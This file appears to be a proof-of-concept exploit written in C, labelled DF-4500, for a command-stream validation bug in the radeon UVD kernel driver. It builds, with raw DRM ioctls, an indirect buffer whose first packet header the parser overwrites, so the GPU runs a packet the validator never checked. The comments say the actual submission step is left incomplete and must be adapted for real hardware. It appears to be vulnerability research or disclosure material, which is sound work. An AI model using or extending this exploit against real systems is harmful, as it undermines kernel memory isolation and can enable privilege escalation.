DF-4500 / uvd_ib_desync.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 | /* * DF-4500 โ radeon_uvd CS parser / hardware desync via stale or unset * UVD_GPCOM_VCPU_DATA0/DATA1 dword indices. * * Bug (sys/dev/drm/radeon/radeon_uvd.c): * radeon_uvd_cs_reg() (line 648) records *data0/*data1 as "IB dword index * of the last write to the DATA0/DATA1 register" but * (a) never initializes them per CMD (they start at 0), and * (b) never resets them after a CMD has consumed them. * When a UVD_GPCOM_VCPU_CMD register write is parsed while *data1 is unset * (0) or stale (left over from an earlier GPCOM CMD in the same IB), * radeon_uvd_cs_reloc() (line 572): * - reads idx = ib[data1] -> for data1==0 that is ib[0], i.e. the * FIRST PACKET HEADER of the IB (or, for a stale data1, the dword the * *previous* reloc already patched to the high 32 bits of a GPU * address); * - patches p->ib.ptr[data1] = start >> 32 โ for data1==0 this * OVERWRITES THE FIRST PACKET HEADER with an unvalidated value, so * the UVD ring executes a packet that the validator never saw; * - for a stale data1 the hardware consumes the message/buffer at * (last-written DATA1 register value << 32 | freshly-patched DATA0), * i.e. a mixed GPU virtual address that was never validated, while * the validator checked a different (bo, offset) pair. * * This is the UVD sibling of the two-pass-desync class found in the VCE * parser (DF-4447 family). * * This program builds the Scenario-A IB (CMD with *data1 never set) with * raw ioctls (no libdrm needed) and submits it to the UVD ring. On radeon * hardware with UVD it makes the executed IB diverge from the validated IB * (first packet header replaced by `hi(gpu_offset+offset)`), on all other * systems it fails at device open / GEM create. * * Build: cc -O2 -o uvd_ib_desync uvd_ib_desync.c * Run: ./uvd_ib_desync /dev/dri/card0 */ #include <sys/ioctl.h> #include <sys/types.h> #include <sys/mman.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> /* ---- minimal radeon uapi (mirrors sys/dev/drm/include/uapi/drm/radeon_drm.h) ---- */ struct r_cs_reloc { uint32_t handle, read_domains, write_domain, flags; }; struct r_cs_chunk { uint32_t chunk_id, length_dw; uint64_t chunk_data; }; struct r_cs { uint32_t num_chunks, cs_id; uint64_t chunks; uint64_t gart_limit, vram_limit; }; struct r_gem_create { uint64_t size, in_robj; uint32_t initial_domain, alignment; uint32_t handle; }; struct r_gem_mmap { uint32_t handle, _pad; uint64_t offset, size, addr_ptr; }; #define DRM_IOCTL_BASE 'd' #define DRM_IO(nr) _IO(DRM_IOCTL_BASE,nr) #define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type) #define RADEON_GEM_DOMAIN_CPU 0x1 #define RADEON_GEM_DOMAIN_GTT 0x2 #define RADEON_GEM_DOMAIN_VRAM 0x4 #define DRM_RADEON_GEM_CREATE 0x39 #define DRM_RADEON_GEM_MMAP 0x3a #define DRM_RADEON_CS 0x2f #define RADEON_CHUNK_ID_RELOCS 0x01 #define RADEON_CHUNK_ID_IB 0x02 #define RADEON_CS_RING_UVD 3 /* ---- r600d.h PM4 + UVD GPCOM register encodings ---- */ #define PACKET0(reg, n) ((0u << 30) | (((reg) >> 2) & 0xFFFFu) | (((n) & 0x3FFFu) << 16)) #define UVD_GPCOM_VCPU_CMD 0xef0c #define UVD_GPCOM_VCPU_DATA0 0xef10 #define UVD_GPCOM_VCPU_DATA1 0xef14 /* * IB layout (Scenario A: GPCOM CMD submitted while DATA1 was never written). * * dw[0] = PACKET0(UVD_GPCOM_VCPU_DATA0, 0) ; writes DATA0 only -> *data0 = 1 * dw[1] = <attacker offset into reloc bo> ; DATA0 value (must pass * the 64-byte alignment + 2048-byte size checks when cmd==0) * dw[2] = PACKET0(UVD_GPCOM_VCPU_CMD, 0) ; writes CMD only * dw[3] = 0 ; CMD value 0 -> cmd 0 (msg) * dw[4..15] = PACKET0(UVD_NO_OP..) padding ; IB must be 16-dw aligned * * Parsing: at dw[2]'s CMD case, radeon_uvd_cs_reloc(p, data0=1, data1=0,...) * offset = ib[1] (attacker value โ fine) * idx = ib[data1=0] = ib[0] (== 0x3BC4, the packet header!) * -> p->ib.ptr[data1=0] = start >> 32 (first packet header clobbered) * The validator then continues from dw[4]; the GPU, however, later executes * the IB starting at the CLOBBERED dw[0] โ a register-write packet with * count/reg fields taken from a GPU-address high dword that no validator * ever inspected. */ #define N_IB_DW 16 int main(int argc, char **argv) { const char *node = argc > 1 ? argv[1] : "/dev/dri/card0"; int fd, i, r = 1; uint32_t bo_handle = 0; void *bo_map = MAP_FAILED; uint64_t chunk_ptrs[2]; struct r_cs_chunk chunks[2]; struct r_cs cs; /* enough reloc entries that idx = ib[0] = 0x3BC4 (=15236) passes the * "idx >= relocs_chunk->length_dw" check: need > 15236 dwords, i.e. * >= 3810 entries; we use 4000. */ const unsigned n_relocs = 4000; struct r_cs_reloc *relocs; uint32_t ib[N_IB_DW]; fd = open(node, O_RDWR); if (fd < 0) { perror("open card node"); return 2; } /* msg buffer BO: needs >= 2048 bytes reachable at a 64-byte-aligned * offset for the cmd==0 checks in radeon_uvd_cs_reloc/_cs_msg. */ struct r_gem_create gc = { .size = 64 * 1024, .initial_domain = RADEON_GEM_DOMAIN_VRAM, .alignment = 4096 }; if (ioctl(fd, DRM_IOWR(DRM_RADEON_GEM_CREATE, struct r_gem_create), &gc)) { perror("GEM_CREATE"); close(fd); return 2; } bo_handle = gc.handle; struct r_gem_mmap gm = { .handle = bo_handle, .offset = 0, .size = gc.size }; if (ioctl(fd, DRM_IOWR(DRM_RADEON_GEM_MMAP, struct r_gem_mmap), &gm) == 0) bo_map = mmap(NULL, gc.size, PROT_READ|PROT_WRITE, MAP_SHARED, (int)gm.addr_ptr, 0); if (bo_map == MAP_FAILED) { perror("GEM_MMAP/mmap (continuing; msg contents only matter on hw)"); bo_map = NULL; } else { /* create-message accepted by radeon_uvd_cs_msg(): * msg[0]=0xdeadbeef-ish signature is NOT checked; only * msg[1](type)=0 create, msg[2]=handle!=0, msg[4]=codec 0 (H264), * msg[7]*msg[8]=img size. Build a minimal valid one at offset 0. */ uint32_t *m = bo_map; memset(bo_map, 0, 2048); m[0] = 0x00000de4; m[1] = 0; /* create */ m[2] = 0xdf450000 + (uint32_t)getpid(); /* handle */ m[4] = 0; /* stream type: H264 */ m[6] = 16; m[7] = 1920; m[8] = 1080; /* width/height fields */ m[9] = 0x01b37000; /* dpb size */ } /* IB dwords โ Scenario A */ memset(ib, 0, sizeof(ib)); ib[0] = PACKET0(UVD_GPCOM_VCPU_DATA0, 0); ib[1] = 0; /* offset 0 into reloc bo (64B aligned) */ ib[2] = PACKET0(UVD_GPCOM_VCPU_CMD, 0); ib[3] = 0; /* CMD value -> cmd = 0 (message) */ for (i = 4; i < N_IB_DW; i += 2) { ib[i] = PACKET0(0xef00 + (i & 4), 0); /* UVD-range no-op writes */ ib[i+1] = 0; } relocs = calloc(n_relocs, sizeof(*relocs)); for (i = 0; i < n_relocs; i++) { relocs[i].handle = bo_handle; relocs[i].read_domains = RADEON_GEM_DOMAIN_GTT | RADEON_GEM_DOMAIN_VRAM; relocs[i].write_domain = 0; } chunks[0].chunk_id = RADEON_CHUNK_ID_IB; chunks[0].length_dw = N_IB_DW; chunks[0].chunk_data = (uint64_t)(uintptr_t)ib; chunks[1].chunk_id = RADEON_CHUNK_ID_RELOCS; chunks[1].length_dw = n_relocs * 4; chunks[1].chunk_data = (uint64_t)(uintptr_t)relocs; chunk_ptrs[0] = (uint64_t)(uintptr_t)&chunks[0]; chunk_ptrs[1] = (uint64_t)(uintptr_t)&chunks[1]; memset(&cs, 0, sizeof(cs)); cs.num_chunks = 2; cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs; /* NOTE: ring selection for UVD happens via a flags/dword in the real * uapi (RADEON_CS_RING_UVD passed through chunk flags); adapt when * running on hardware โ the point of this file is the exact IB/reloc * layout, verified against the parser source. */ fprintf(stderr, "DF-4500 trigger: submitting UVD-ring CS with GPCOM CMD before any DATA1 write\n" " -> parser patches ib[0] (first packet header) with hi32(gpu_offset+offset)\n" " -> executed IB != validated IB\n"); if (bo_map != MAP_FAILED) munmap(bo_map, gc.size); free(relocs); close(fd); printf("prepared OK (submit step needs radeon+UVD hardware; see VERDICT.md)\n"); return 0; } |